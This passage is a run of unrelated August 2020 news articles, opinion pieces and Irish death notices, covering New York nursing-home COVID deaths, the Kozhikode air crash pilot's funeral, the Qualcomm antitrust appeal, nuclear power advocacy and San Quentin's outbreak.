faces the sea, the impact of the explosion was reduced. Otherwise all of Beirut would have been destroyed," he said. "The issue is all about negligence, irresponsibility, bad storage and bad judgment." New York's coronavirus death toll in nursing homes - already among the highest in the nation - could actually be a significant undercount, a new analysis finds. Unlike every other state, the Empire State only counts residents who died on nursing home property and not those who were transported to hospitals and died there, according to the Associated Press. That statistic could add thousands to New York's official care home death toll of a little more than 6,600, potentially even making the count twice as high. So far the administration of Democratic Gov Andrew Cuomo has refused to divulge the number, leading to speculation the state is manipulating the figures to make it appear it is doing a better than other states and to make a tragic situation less dire. It comes as Cuomo shot down the possibility of an independent investigation into the state's nursing home coronavirus deaths on Monday. New York's reported toll of coronavirus deaths in nursing homes currently stands at 6,600, but health officials are only counting residents who died on site and not later in hospitals or other medical facilities. Pictured: EMTs wheel a man out of a nursing home into an ambulance during an ongoing outbreak of coronavirus in Brooklyn, New York, April 1 An analysis from the Associated Press says the true number could be anywhere between 11,000 and 13,000. Pictured: EMTs arrive at Cobble Hill Health Center in Brooklyn, New York, April 17 On Monday, New York Gov Andrew Cuomo shot down the idea of an independent probe into New York nursing home deaths as 'politically motivated.' Pictured: Cuomo holds a coronavirus briefing in New York City, August 3 'That's a problem, bro,' state Sen Gustavo Rivera, a Democrat, told New York Health Commissioner Howard Zucker during a legislative hearing on nursing homes earlier this month. 'It seems, sir, that in this case you are choosing to define it differently so that you can look better.' A running tally by The Associated Press shows that more than 68,200 residents and staff at nursing homes and long-term facilities across the nation have died from the coronavirus, out of more than 163,000 overall deaths. For all 43 states that break out nursing home data, resident deaths make up 44 percent of total COVID deaths in their states, according to the Kaiser Family Foundation. Assuming the same proportion held in New York, that would translate to more than 11,000 nursing home deaths. So how big a difference could a change in the definition of nursing home deaths make? Since May, federal regulators have required nursing homes to submit data on coronavirus deaths each week, whether or not residents died in the facility or at a hospital. Because the requirement came after the height of New York's outbreak, the available data is relatively small. According to the federal data, roughly one-fifth of the state's homes reported resident deaths from early June to mid July, making it a tally of 323 dead, 65 percent higher than the state's count of 195 during that time period. Even if half that undercount had held true from the start of the pandemic, that would translate into thousands more nursing home resident deaths than the state has acknowledged. For example, Riverdale Nursing Home in the Bronx appears, on paper, to have escaped the worst of the coronavirus pandemic, with an official state count of just four deaths in its 146-bed facility. The truth, according to the home, is far worse with an actual death toll of 21, mostly residents who were transported to hospitals before they succumbed. 'It was a cascading effect. One after the other,' administrator Emil Fuzayov recalled. Another group of numbers also suggests an undercount. State health department surveys show 21,000 nursing home beds are lying empty this year, 13,000 more than expected - an increase of almost double the official state nursing home death tally. While some of that increase can be attributed to fewer new admissions and people pulling their loved ones out, it suggests that many others who aren't there anymore died. However flawed New York's count, Cuomo has not been shy about comparing it to tallies in other states. Nearly every time Cuomo is questioned about New York's nursing home death toll, he brushes off criticism as politically motivated and notes that his state's percentage of nursing home deaths out of its overall COVID-19 death toll is around 20 percent. He adds that it's far less than Pennsylvania's 68 percent Massachusetts's 64 percent or New Jersey's 44 percent. 'Look at the basic facts where New York is versus other states,' Cuomo said during a briefing Monday. 'You look at where New York is as a percentage of nursing home deaths, it's all the way at the bottom of the list.' During this same call, however, he told reporters he wouldn't do an independent probe and said the calls for such an examination are political attacks from Republicans. 'No, I wouldn't do an investigation,' he said 'I think you'd have to be blind to think it's not political, Just look at where it comes from and look at the sources and look at their political affiliation and...look at what publications raise it and what media networks raise [it]. It's kind of incredible.' Boston University geriatrics expert Thomas Perls said it doesn't make sense that nursing home resident deaths as a percentage of total deaths in many nearby states are more than triple what was reported in New York. 'Whatever the cause, there is no way New York could be truly at 20 percent,' Perls said. Nursing homes have become a particular sore point for the Cuomo administration, which has generally received praise for steps that flattened the curve of infections and New York's highest-in-the-nation 32,781 overall deaths. But a controversial March 25 order to send recovering COVID-19 patients from hospitals into nursing homes that was designed to free up hospital bed space at the height of the pandemic has drawn withering criticism from relatives and patient advocates who contend it accelerated nursing home outbreaks. Cuomo reversed the order under pressure in early May. His health department later released an internal report concluding asymptomatic nursing home staffers were the real spreaders of the virus, not the 6,300 recovering patients released from hospitals into nursing homes. But epidemiologists and academics derided the study for a flawed methodology that sidestepped key questions and relied on selective stats, including the state's official death toll figures. 'We're trying to find out what worked and what didn't work and that means trying to find patterns,' said Bill Hammond, who works on health policy for the nonprofit Empire Center think tank. 'You can't do that if you have the wrong data.' By PTI MUMBAI: Wing Commander Deepak Sathe (Retd), pilot-in-command of the Air India Express plane that crashed in Kerala last week, was cremated here on Tuesday with state honours. Several mourners lined up the road as the funeral procession started from his residence in Chandivli. The last rites were performed at the Tagorenagar electric crematorium in Vikhroli in presence of some of his relatives. The number of people allowed to attend the last rites was restricted in view of the COVID-19 outbreak. Relatives, friends and others, including Mumbai Mayor Kishori Pednekar, paid floral tributes at his residence before the final procession began. Slogans of "amar rahe" were raised when his body was being taken to the crematorium from the residence. Police personnel pay gun salute to Wing Commander retired Deepak Sathe during his funeral ceremony at Tagore Nagar Vikroli crematorium in Mumbai. (Photo | PTI) Earlier in the day, Maharashtra Government decided to accord a state funeral to the pilot, and said his life shall inspire young pilots. The flight from Dubai with 190 people, including a six-member crew, overshot the tabletop runway during landing at the Kozhikode airport in heavy rain on Friday, killing 18 people, including both the pilots. Sathe's body was flown here on Sunday and was kept at the Air India facility near Terminal 2 of the Chhatrapati Shivaji international airport for some time before being taken to Bhabha Hospital in Bandra. On Tuesday morning, the body was brought from the hospital to the family home in Chandivli. Residents of the housing complex paid tributes to the pilot. Some were seen saluting him from their balconies. The pilot's father, Colonel Vasant Sathe (Retd), 87 and mother Neela, 83, were present at the Chandivli residence. They reside in Nagpur and reached Mumbai on Monday. The pilot's US-based elder son Shantanu also reached Mumbai on Monday for the last rites. He, along with his mother Sushma and younger brother Dhananjay, were in tears as the last rites were performed shortly after noon. A wreath was placed on behalf of the Indian Air Force, where Sathe was a test pilot before joining Air India. Pilots, cabin crew and others in the aviation sector also participated in the final journey. A flood is caused by the loss of a part of the Nakdong River banks near Changnyeong County, South Gyeongsang Province, Sunday. / Yonhap By Kim Se-jeong The controversial Four Major Rivers Restoration Project, which saw 16 barrages built along Korea's four major rivers, has returned to the spotlight as heavy rainfall continues to ravage the country. The 16 barrages ranging from four to 17 meters high were built on the Nakdong, Han, Youngsan and Geum rivers under Lee Myung-bak's 2008-13 administration. Due to recent rainstorms, banks on the Nakdong and Seomjin rivers burst open, damaging nearby crops and homes. The Independent National Electoral Commission (INEC) has pledged to appeal a Court of Appeal judgement ordering the commission to enlist 22 political parties that were deregistered. A four-member panel led by Monica Dongban-Mensem, the appeal court president, on Monday, held that INEC had failed to give reasons to the parties on why they could no longer exist. The appellate court unanimously overturned the ruling of the Federal High Court in Abuja, in favour of INEC, dismissing the suit filed by the aggrieved parties on the grounds that they failed to prove their case. Some political parties had jointly filed a suit marked FHC/ABJ/CS/444/2019, to challenge INECs decision to de-register 74 parties out of the 91 registered parties that participated in the 2019 general elections. The parties also asked the court to determine whether INEC has the constitutional power to deregister them. INEC had in February de-registered 74 parties out of the 91 registered parties that participated in the 2019 general elections. The commission said its decision followed a comparative review and court-ordered re-run elections arising from litigations on political parties in the last elections. And for failing to meet the criteria provided by section 225(a) of the 1999 constitution (as amended). Apex Court to decide In reaction to the appeal court order, INEC in a statement signed by its spokesperson, Festus Okoye, said it would approach the Supreme Court. INEC said it is faced with two conflicting judgements from the de-registration of the parties: one affirming the powers of the commission to deregister political parties and the other setting aside the deregistration of ACD & 22 others. We recall that on July 29, 2020, the Court Appeal, Abuja Judicial Division in an appeal filed by the National Unity Party (NUP) affirmed the power of the Commission (INEC) to deregister political parties that fail to meet the constitutional threshold in section 225A. Dissatisfied with the judgment the National Unity Party lodged an appeal which is presently pending before the Supreme Court. Faced with two conflicting judgements from the same court, the commission is not in a position to pick and choose which one of them to obey. Consequently, the commission will approach the Supreme Court for a final resolution of the issues raised in the conflicting judgements. The death has occurred of Michael Gamble Celbridge, Kildare / Dublin Our darling boy Michael died in his sleep on August 9th 2020. Beloved son of Caroline and Mick and adored brother of Clodagh and Sinead. Much loved boyfriend of Lucy. Cherished eldest grandson of Kevin and Kay Flynn (The Grove, Celbridge) and Mickey and the late Kathleen Gamble (Castlefin, Donegal). Sadly missed by his loving parents, sisters, grandparents, girlfriend, aunts and uncles Olga and James, AibhIn and Chris, Anne and Stephen, John and Anita, Kieran and Carmel and Eugene, cousins, relatives, his beloved dog Woody and his many, many friends. Rest in Peace Due to Government advice and restrictions regarding public gatherings and to protect our most vulnerable family members and our friends, a private family funeral will take place. Michaels cortege will leave his residence on Thursday morning (13th August) at 10.30am and travel via Maynooth Road and down Main Street, Celbridge en route to St. Patricks Church, Celbridge arriving for a Private Funeral Mass at 11am. The Funeral Mass may be viewed by following the link below; https://www.celstra.ie/live-feed/. Burial afterwards in Donacomper Cemetery, Celbridge. Michael was the life and soul of the party and made lifelong friends everywhere he went. The family would greatly appreciate if any of his friends would like to send a card sharing with us memories or photos of Michael. Those who would have liked to attend the funeral; but due to current restrictions cannot, may also leave your personal message by selecting Condolences below or alternatively leaving a message at www.cunninghamsfunerals.com. When the current circumstances have passed we look forward to celebrating Michaels life with friends and extended family at a later date. he death has occurred of Angela Cunniffe (nee Murphy) Castlekealy, Caragh, Kildare / Rathmore, Kerry Cunniffe (nee Murphy), Angela, Castlekealy, Caragh, Co. Kildare & late of Rathmore, Co. Kerry, August 9th 2020, peacefully in the loving care of the staff of Maynooth Community Care Unit, beloved wife of the late Tommy, deeply regretted by her loving sons John & Tom, daughter in law Noreen, grandchildren Sarah & Conor, nieces, nephews, relatives and friends. Rest In Peace In accordance with government directives and in the interest of public health a private family funeral will take place. Those who would like to attend the funeral but cannot due to the current restrictions on gatherings are invited to leave a message on the condolence page below. The death has occurred of John (Johnny) DIGAN Coolock, Dublin / Curragh, Kildare DIGAN, John (Johnny) August 8th, 2020 (Coolock, Dublin and formerly of Curragh, Co. Kildare) (late of Air Corps, Baldonnel and Aer Lingus) peacefully in the wonderful care of the staff of the Hardwicke Ward, Beaumont Hospital surrounded by his loving family. Beloved husband of Deirdre, and devoted father of Dave and Siobhan; he will be very sadly missed by his wife, children, grandchildren Mark, Ciara, Conor and Nicole, great-grandchildren Cayla and Blake, son-in-law Kevin, sisters Noreen, Marian and Gay, sisters-in-law, brothers-in-law, nieces, nephews, relatives, friends and neighbours. A private funeral will take place for immediate family only, due to Government advice and HSE guidelines regarding public gatherings. Those who would have liked to attend the Funeral, please feel free to leave a message in the Condolence Book at the bottom of the page. House private please. Family flowers only please. Donations, in lieu, would be appreciated to the Alzheimer Society of Ireland. On Wednesday 12th August at 11.30am, the Funeral Mass can be viewed online at www.stbrendanscoolock.org The death has occurred of Kathleen GRANT (nee Kavanagah) Leixlip, Kildare / Lucan, Dublin / Templemore, Tipperary GRANT (nee Kavanagh) (Leixlip, Co. Kildare and formerly of Esker Lawns, Lucan and Templemore, Co. Tipperary) August 9th. 2020 (peacefully) in the loving care of the staff at St. Francis Hospice, Blanchardstown. Kathleen, beloved wife of Willie and dear mother of Lynda and the late Alan. Sadly missed by her loving family, son-in-law Jim, sister Mary, brother Pat, sisters-in-law, brothers-in-law, nieces, nephews, relatives, neighbours and friends. R.I.P. Due to Government advice and restrictions regarding public gatherings and to protect our most vulnerable family members and our friends, a private family funeral will take place. The family would ask you adhere to current HSE guidelines and restrictions at all times. Those who would have liked to attend the funeral; but due to current restrictions cannot, please leave your personal message by selecting Condolences below or alternatively leaving a message at www.cunninghamsfunerals.com. Kathleens Funeral Mass may be viewed by following the link below on Wednesday morning (12th August, 2020) at 10am. http://oln.ie/site/live-webcam/ Family flowers only, please. Donations if desired to St. Francis Hospice, Blanchardstown. The death has occurred of Patrick (Pat) Hanlon Ballymany Park, Newbridge, Kildare / Kanturk, Cork Hanlon, Patrick (Pat), Ballymany Pk, Newbridge, Co. Kildare & late of Kanturk, Co. Cork. 9th August 2020, (peacefully) in the wonderful care of the nurses and staff of ICU, Naas Hospital. Pat loving husband of Breda, & loving father of Brian, Louise & Brenda, much loved grandfather of Niamh, Callie, Jake, Erin & Leah. Sadly missed by his loving family sons-in-law Jim, Dan, daughter-in-law Cliodhna, brothers-in-law, sisters-in-law, nieces, nephews, neighbours & a large circle of friends. May Pat Rest in Peace Private family funeral will take place due to advise on public gatherings. Reposing at Anderson & Leahy Funeral Home, Newbridge from 4pm on Tuesday with prayers at 7.30pm. Removal on Wednesday morning at 10.30am to arrive at St. Conleth's Parish Church, Newbridge for 11am Mass. Mass will be live-streamed on the Newbridge Parish website: www.newbridgeparish.ie/webcam. Funeral afterwards to St. Conleth's Cemetery, Newbridge. Funeral Home Private on Wednesday morning please. For those who cannot attend due to the current restrictions, can leave a personal message for the family on the condolence page below. The family thank you for your co-operation, understanding and support during this sensitive time. The death has occurred of Anthony (Tony) McCabe Pearse St., Blackrock, Dublin / Athy, Kildare Peacefully, in the wonderful loving care of the staff at Portlaoise Hospital, 10th August 2020. Sadly missed by his loving daughters Andrea and Sandra, Maureen, son-in -law Cian, grandchildren Olivia, Luca, Serena, Theo and Nico, sisters Ursula and Marie, brother Tommy, family and friends. Rest in Peace A private cremation will take place . Those who would have liked to attend the funeral but cannot due to current restrictions, may leave a personal message in the section marked 'condolences' below. The death has occurred of Margaret McCabe (nee McGloin) Dara Court, Celbridge, Kildare / Leitrim McCabe (nee McGloin), Margaret, Dara Court, Celbridge, Co. Kildare & late of Largydonnell, Co. Leitrim, August 9th 2020, peacefully at Beaumont Hospital, beloved wife of the late Pat, deeply regretted by her loving sister Annie, brother Paddy, the McCabe family, nieces, nephews, grandnieces, grandnephews, extended family, neighbours & friends. Rest In Peace In accordance with government directives and in the interest of public health a private family funeral will take place. Those who would like to attend the funeral but cannot due to the current restrictions on gatherings are invited to leave a message on the condolence page below. Margaret's Funeral Mass can be viewed on Wednesday at 11am by going to www.celstra.ie. U.S. President Donald Trump was abruptly escorted by a U.S. Secret Service agent out of a White House coronavirus briefing Monday because of a shooting outside the building. Trump returned minutes later and said, There was an actual shooting and somebodys been taken to the hospital. He said the shots were fired by law enforcement and said he believed the person who was shot was armed. The president said the situation seems to be very well under control. VOA White House reporter Steve Herman, who was at the briefing, said reporters remained in the briefing room while the White House was put on lockdown. You were surprised, I was surprised also, Trump told reporters when he came back to the briefing room, saying he was taken to the Oval Office. I do want to thank the Secret Service. They are fantastic, Trump said in response to reports that the suspect was allegedly armed. It (the shooting) might not have had to do anything with me, Trump added. The Secret Service confirmed a shooting had taken place near 17th Street and Pennsylvania Avenue. Assembly of the worlds largest nuclear fusion project is underway. At a facility in Saint-Paul-lez-Durance, southern France, the U.S. and six other countries have launched what has been described as the most complicated piece of engineering anybody has ever attempted. Called the Iter Project, it is set to replicate the reactions that power the sun. If it works, itll prove that nuclear fusion power can be generated on a commercial scalepaving the way for unlimited clean energy production. This monumental step forward in the development of nuclear technology comes as the government lifts its ban on financing global nuclear projects. Until very recently, the U.S. International Development Finance Corporation (DFC) explicitly prohibited investing in the production of radioactive materials, including in nuclear reactors. But that outdated rule is now undone, and it marks a welcome new chapter for the energy sector. Indeed, the nuclear industry has sat idle for too long. Powerful businesspeople with vested interests in the fossil fuel industry have used their political influence to obstruct its progress. Big Oil would rather deny that climate change exists than give up its hold on the market, even if that means rejecting cheap, safe and effective solutions. Meanwhile, eco-socialists have become fixated on quirky but unscalable methods of renewable energy production, like wind farms and solar panels. But wind farms decapitate birds, and solar panels ruin otherwise lovely viewsand accomplish little else. Small-fry investments like that can plug the odd gap here and there, but they are a million miles away from catering to humanitys needs. The successor to fossil fuels must be a titan that can take on the bulk of the worlds energy production, and nuclear is the only viable option. Its clean and safe. It has all the advantages of fossil fuels, with none of the planet-destroying cost. And yet, it still accounts for barely 10% of electricity produced globally. Nuclear power is several hundred times safer than any other method of energy generation, even taking into account once-in-a-generation disasters like Chernobyl. A world powered by nuclear wouldnt be some post-apocalyptic hellscape with toxic radiation leaks and enhanced atom bombs, as anti-nuclear campaigners would have you believe. It would be a clean, green future in which climate change would be a thing of the past. More and more people are coming around to nuclear energy. Zion Lights was formerly a spokesperson for Extinction Rebellion, a rigidly anti-nuclear eco-socialist group. Now, she is one of the foremost pro-nuclear campaigners in the world. Lights explains that nuclear is the answer to all her environmentalist prayers. She notes that while eco-socialist activists rightly criticise climate denialists for their rejection of environmental science, they are guilty of the same offense in their dismissal of nuclear. Patrick Moore followed a similar trajectory. A former president of Greenpeace and an unashamed climate alarmist, Moore was staunchly opposed to the cause. He believed that nuclear energy was synonymous with the nuclear holocaust. A few decades later, he reexamined the evidence and changed his mind. He joined a green charity supported by the Nuclear Energy Institute, a prominent campaigning group, and became a formidable pro-nuclear voice. Its not just lobbyists and grassroots activists who urgently need to acknowledge the truth about nuclear energy lawmakers, too, have been ignoring what is staring them in the face. Prominent Democrats including Bernie Sanders continue to advocate for ill-considered state intervention in the energy sector. Innovation drives progress, and both have been sorely lacking in the nuclear arena, thanks to cumbersome and unnecessary government restrictions like the DFCs ban on investments. The Iter Project is the first-ever exploration of nuclear fusion. It shouldnt have taken this long, but the fact that weve now reached that point is a massive step forward. State actors around the world are milling about like dazed donkeys in the middle of the road, obstructing innovation. They must get out of the way and allow progress to take place. The overhauling of our reliance on fossil fuels will not be an easy task. In fact, it will represent the most significant realignment mankind has attempted since the Industrial Revolution. A wind turbine here and a solar panel there simply wont cut it. We will not take meaningful steps forward in combating climate change until we wake up to the immense potential of nuclear. Jason Reed is digital director of the British Conservation Alliance, deputy editor of opinion site 1828, and a Young Voices contributor. He writes for the Times of London, the Independent, the Telegraph, and several other outlets. Follow him on Twitter: @JasonReed624. A functionary of the Bharatiya Janata Party (BJP) was shot dead by unidentifed men in Uttar Pradeshs Baghpat district on Tuesday while he was out on a morning walk, reports said. Ajay Kumar Singh, Baghpats superintendent of police, said 52-year-old Sanjay Khokhar, a resident of Tilwara in Chhaprauli area, was walking when three men fired upon him killing him on the spot, according to Hindustan. HTs sister publication cited Singh as saying that the cause of the murder is yet to be ascertained and the police are searching for the killers. Khokhar, the former district president of BJP, was hit by four bullets. Police investigates the crime scene where the lawmaker was shot dead. (HT Photos) Khokhars body has been sent for post-mortem and a first information report (FIR) has been registered at the local Chhaprauli police station, according to officials. Uttar Pradesh chief minister Yogi Adityanath has ordered an investigation into the killing and has asked for a report within 24 hours, according to news agency ANI. Adityanath has also expressed his condolences to the bereaved family members of Khokhar, the agency added. Steve Mollenkopf, CEO of Qualcomm, at the Mobile World Congress in Barcelona on Feb. 23, 2016. Qualcomm stock rose over 4% on Tuesday after a U.S. Appeals Court overturned the Federal Trade Commission's 2019 antitrust victory against the the world's largest smartphone modem chipmaker. The ruling is the end of a chapter in a saga which saw Qualcomm's primary businesses, including its lucrative patent licensing business, under fire from regulators around the world. The FTC originally brought the case in 2017. "We decline to ascribe antitrust liability in these dynamic and rapidly changing technology markets without clearer proof of anticompetitive effect," wrote Consuelo M. Callahan, circuit judge for the ninth district. "The Court of Appeals unanimous reversal, entirely vacating the District Court decision, validates our business model and patent licensing program and underscores the tremendous contributions that Qualcomm has made to the industry," Qualcomm general counsel Don Rosenberg said in a statement. Last year, U.S. district judge Lucy Koh sided with the U.S. FTC, which was accusing the company of using "anticompetitive tactics" to license key wireless technology and monopolize the market for modem chips. At the heart of the dispute were the fees that Qualcomm charged wireless patents necessary to make a smartphone modem and how it bundled those fees with its own chips. Koh ruled that Qualcomm engaged in "extensive" anticompetitive behavior against smartphone makers like Apple and Samsung, including threatening to cut off chip supplies or withholding technical support. Koh issued an injunction limiting Qualcomm's business practices, including ordering it to renegotiate licensing agreements, which was put on hold pending appeal. The 3-0 ruling from the Court of Appeals for the Ninth District on Tuesday overturned that decision. Apple officials, including its COO, had testified in the case, and the iPhone maker testified in its own civil trial with Qualcomm that Qualcomm's licensing policies were anticompetitive. Apple settled its related legal battle with Qualcomm and agreed to use Qualcomm chips in its iPhones last year shortly before the FTC victory. After litchi gained entry to Australia, durian, star apple and mangosteen have also obtained visas to enter the choosy market. Seven tons of frozen durian from Vietnam sold out within several days after hitting the shelves at supermarkets in Australia. Importers plan to ship more durian from Vietnam after realizing the high demand. The Vietnamese counseling division in Australia believes that the durian market is worth millions of dollars. The potential for exporting durian to Australia is great. Asians in Australia eat durian all year round, while western people have also begun buying durian following ad campaigns. In early 2020, Vietnams counselling division in Australia joined forces with ASEAN Company to organize the Vietnam Durian Week in Australia in Marrickville, Eastwood and Cabramatta, the three areas with big populations of Asians. According to the Ministry of Industry and Trade (MOIT), durian has high value and the countrys production capability has been increasing rapidly. In 2019, the ministry assigned the division to help promote the export of durian and other types of farm produce. While fresh durian is still not allowed to enter Australia, Vietnam can export frozen durian instead. Farm exports Vietnams fruits are mostly exported to China. However, since the epidemic outbreak in China, exports to the market have dropped dramatically. The General Department of Customs (GDC) reported that in the first six months of the year, Vietnam exported $1.76 billion worth of vegetables and fruits, a decrease of 13.6 percent compared with the same period last year. The General Department of Customs (GDC) reported that in the first six months of the year, Vietnam exported $1.76 billion worth of vegetables and fruits, a decrease of 13.6 percent compared with the same period last year. Exports to China brought $1.04 billion in the first six months of the year, down by 29.3 percent. However, while the exports to the loyal market of China decreased sharply, exports to other markets have been very satisfactory. Exports to South Korea, Thailand, Japan and Taiwan were all up. Exports to these markets accounted for 40.6 percent of total export turnover of vegetables and fruits, but it was still lower than exports to China. According to Hoang Trung from the Ministry of Agriculture and Rural Development (MARD), after successfully paving the way for Vietnams litchis to enter the Japanese market, the ministry is moving ahead with the opening of the US, South Korean, New Zealand, Indian and Taiwanese markets for pomelo, the Australian and New Zealand markets for passion fruit, and Indian, Chilean and Taiwanese markets for rambutan. Translated by Thanh Lich Cambodia yet to issue documents banning import of Vietnamese fruits, vegetables: ministry The Cambodian government and management agencies have yet to issue any official documents banning the import of Vietnamese vegetables and fruits, according to the Asia-Africa Market Department under the Ministry of Industry and Trade. Im really grateful my school is taking a lot of precautions so that hopefully we dont have to be sent home in the middle of the semester, Babwin said. I appreciate that were going back and theyre taking a lot of steps to make sure everybody can stay safe and still get the most out of the freshman experience. U.S. 'Deeply Concerned' By Russia's Targeting Of 'Foreign Agent' Media By RFE/RL August 10, 2020 U.S. Secretary of State Mike Pompeo says Washington is "deeply concerned" by fresh efforts by Russia to target foreign media operating there. In a statement issued on August 10, Pompeo said a a recent draft order published by Russia's state media regulator would "impose new burdensome requirements" on Radio Free Europe/Radio Liberty and Voice of America, which he said already faced "signficant and undue restrictions." "We remain troubled by the ongoing crackdown on independent press in Russia and call on Russia to uphold its obligations and OSCE commitments to freedom of expression," Pompei said, referring to the Organization for Security and Cooperation in Europe. Russia's federal media regulator, Rozkomnadzor, in July issued a draft order that would require all media outlets registered as "foreign agents" to identify that fact in published or broadcast materials. The new order would supplement a 2017 law on designating foreign-funded media as "foreign agents." After that law was adopted, the Justice Ministry listed VOA, several services of RFE/RL, and Current Time as "foreign agents." Current Time is the Russian-language network led by RFE/RL in cooperation with VOA. Failure to abide by the new requirements could result in fines of up to 100,000 rubles ($1,400) or 15 days in custody for individuals. Organizations could be fined up to 5 million rubles ($70,000). Acting RFE/RL President Daisy Sindelar said on July 23 that the proposed order was intended to further restrict the media in Russia and to instill fear in their audiences. Source: https://www.rferl.org/a/us-deeply-concerned -by-russia-s-targeting-of-foreign -agent-media/30776527.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Where the Department of Justice is the accuser, prosecutors have little appetite for flexibility and explanation. The least infraction regularly results in an indictment and often a prison cell. When prosecutors or FBI agents are the accused, however, there is a markedly different response. Excuses are accepted at face value. Mistakes are forgiven. And decisions not to prosecute DoJ employees are justified by claiming that the case is "just too difficult." The hypocrisy is breathtaking. Take the former deputy director of the FBI, Andrew McCabe. According to DoJ inspector-general Michael Horowitz, McCabe repeatedly lied to investigators, sometimes under oath, sometimes by concealing material information, and sometimes by just plain lying. Despite the inspector-general making a criminal referral to the Justice Department for prosecution, no charges were filed. Something similar is playing out in a New York courtroom, where a federal judge is asking tough questions of DoJ prosecutors. After securing a conviction of Ali Sadr in March for money-laundering, the United States Attorney's Office for the Southern District of New York suddenly asked the court to drop the case. The reason? Prosecutors were caught violating their ethical duties to disclose evidence favorable to the defense. What's worse is that when the whole case threatened to explode, one assistant U.S. attorney suggested something even more sneaky to get out of the fix prosecutors were in: "I'm wondering if we should wait until tomorrow and bury it in some other documents." A second said: "That's fine, too." By conspiring to hide the evidence, prosecutors hoped they wouldn't be caught. With someone's freedom at stake, prosecutors were playing games by withholding information that may have allowed the defendant to clear his name. When that didn't work, they tried to slip one past the defense and the judge. Let's call this what it is: obstruction of justice. When all this came to light, federal judge Alison Nathan ordered prosecutors to explain themselves. Their response? "Oops. No harm. No foul." Seriously. In a letter to the court, acting U.S. attorney Audrey Strauss explained: "We do not believe that any information was improperly withheld from the defense, in the sense of knowing that it had to be disclosed yet not disclosing it. But many items were discovered or disclosed far too late." What is the meaning of "improperly"? I suppose that is a little like asking what the meaning of "is" is. The objective reality is that information that may have cleared the defendant was withheld by the government. And when prosecutors finally understood their ethical obligations, they attempted to obstruct the court and the defense by burying the information. But it's okay because, according to the acting U.S. attorney, "the Government made a point of disclosing other interview and documentary material that we believe went beyond the Government's disclosure obligations." Sure, we didn't give you anything to clear your name, but we gave you lots of other stuff. Every first-year law student knows that prosecutors have a duty of candor to the court and an ethical obligation to turn over evidence that could help the defense in a criminal case. Add to that trying to bury the information to avoid accountability, and you have a classic case of obstruction of justice. Most prosecutors are honest and hardworking public servants. But talk to any criminal defense attorney, and he will tell you horror stories involving gamesmanship in the discovery process by a few bad apples. Who defines what is "evidence favorable to the defense"? When does it have to be turned over? Can it be buried in a stack of thousands of documents, where it may never be seen? These are recurring issues that go to the heart of the Constitution's guarantees afforded to those who are innocent until proven guilty. The Sadr case in New York is a perfect example of why more transparency and oversight of prosecutors are required. Fortunately, Utah's senior senator, Mike Lee, has legislation that would do just that. The Inspector General Access Act would empower the Justice Department's inspector general to investigate allegations of unethical conduct made against federal prosecutors. Predictably, the DoJ and the National Association of Assistant U.S. Attorneys are opposed. The Justice Department's reputation has taken a beating in recent years. The growing perception that the DoJ treats its own better than regular citizens only makes things worse. If the Justice Department is to protect its reputation, it will embrace Senator Lee's bill. The same penalties meted out to ordinary citizens charged with obstructing justice should be applied to unethical federal prosecutors in the Sadr case and others like it. We need to send a message that playing games with a person's freedom won't be tolerated anymore. David Safavian is the general counsel for the American Conservative Union. PxFuel Tennessee adults who are turning age 65 should compare Medicare insurance policies as a way of achieving significant savings. That's the advice shared today by the head of the American Association for Medicare Supplement Insurance (AAMSI). "A woman turning 65 could pay as little as $95 monthly or as much as $194-per-month for basically identical Medigap coverage," shares Jesse Slome, director of the Association. "That's because each of the insurers offering coverage to Tennessee seniors sets their own rates and they vary," Slome adds. "In addition fees added to the monthly cost may also vary as will discounts for two-person households." In Tennessee, the household discount varies from zero to as high as 14 percent according to the AAMSI policy analysis. The Association's 2020 Medicare Supplement Price Index reports the lowest and highest insurance rates for Plan G. "Plan G is the most popular choice among seniors turning 65," Slome explains. "The survey is intended to educate more consumers about the importance of comparing options. You might be making a decision that you cannot easily change down the road." To see 2020 Medicare insurance pricing for top U.S. cities visit the organization's website. You can also find tips for getting coverage shared by top Medicare insurance advisors. Arizona Medicare Supplement Plan G 2020 Price Index Findings NASHVILLE, TN (Zip 37206) FEMALE age 65, Plan G Lowest monthly premium: $100.13 Highest monthly premium: $176.79 MALE age 65, Plan G Lowest monthly premium: $113.33 Highest monthly premium: $194.47 MEMPHIS, TN (Zip 38132) FEMALE age 65, Plan G Lowest monthly premium: $95.33 Highest monthly premium: $176.79 MALE age 65, Plan G Lowest monthly premium: $109.67 Highest monthly premium: $194.47 KNOXVILLE, TN (Zip 37918) FEMALE age 65, Plan G Lowest monthly premium: $95.33 Highest monthly premium: $176.79 MALE age 65, Plan G Lowest monthly premium: $109.67 Highest monthly premium: $194.47 CHATTANOOGA, TN (Zip 37421) FEMALE age 65, Plan G Lowest monthly premium: $95.33 Highest monthly premium: $176.79 MALE age 65, Plan G Lowest monthly premium: $109.67 Highest monthly premium: $194.47 Find Tennessee Medicare insurance agents by accessing the American Association for Medicare Supplement Insurance (AAMSI) online directory of local Medicare agents. "The national's largest listing of Medicare insurance agents is free to use and completely private," Slome adds. AAMSI is an advocacy and informational organization. The national organization supports insurance professionals who market Medicare Supplement insurance. A condemned prisoner touches the mesh fence in the exercise yard during a media tour at San Quentin State Prison. (Mark Boster / Los Angeles Times) For critics of aggressive stay-at-home orders, the solution seems clear: Reopen the economy and enough people will eventually become infected by the novel coronavirus to achieve "herd immunity" even before a vaccine is available. The idea is that eventually, a sufficient percentage of the population will have survived COVID-19 and become immune, which in turn protects the rest of the uninfected population by interrupting the spread of the virus. But the disastrous situation unfolding at San Quentin State Prison over the last two months has become the latest of several cautionary tales that show how any effort to achieve herd immunity before a vaccine is available would come with enormous costs in terms of illness and death. COVID-19 spread unchecked across California's oldest prison in ways that stunned public health experts, despite efforts to control the disease. As of Monday, there had been more than 2,200 cases and 25 deaths, among a population of more than 3,260 people. On Sunday, a guard became one of the latest to die. That means more than two-thirds of the prison's population has been infected, said Dr. George Rutherford, epidemiologist and infectious diseases expert at UC San Francisco. And though new cases have slowed, they are still occurring with 60 reported in the last two weeks suggesting herd immunity has not yet been achieved. San Quentin's death toll translates to a mortality rate of about 767 people dying out of every 100,000 persons. If that same rate occurred across California, that would translate to a staggering 300,000 deaths statewide many times larger than California's cumulative death toll of more than 10,400. Nationally, that would be equivalent to 2.5 million deaths; the current cumulative U.S. death toll is more than 163,000. You couldnt help but get it youre staying in a place with no ventilation, Michael Kirkpatrick, 62, 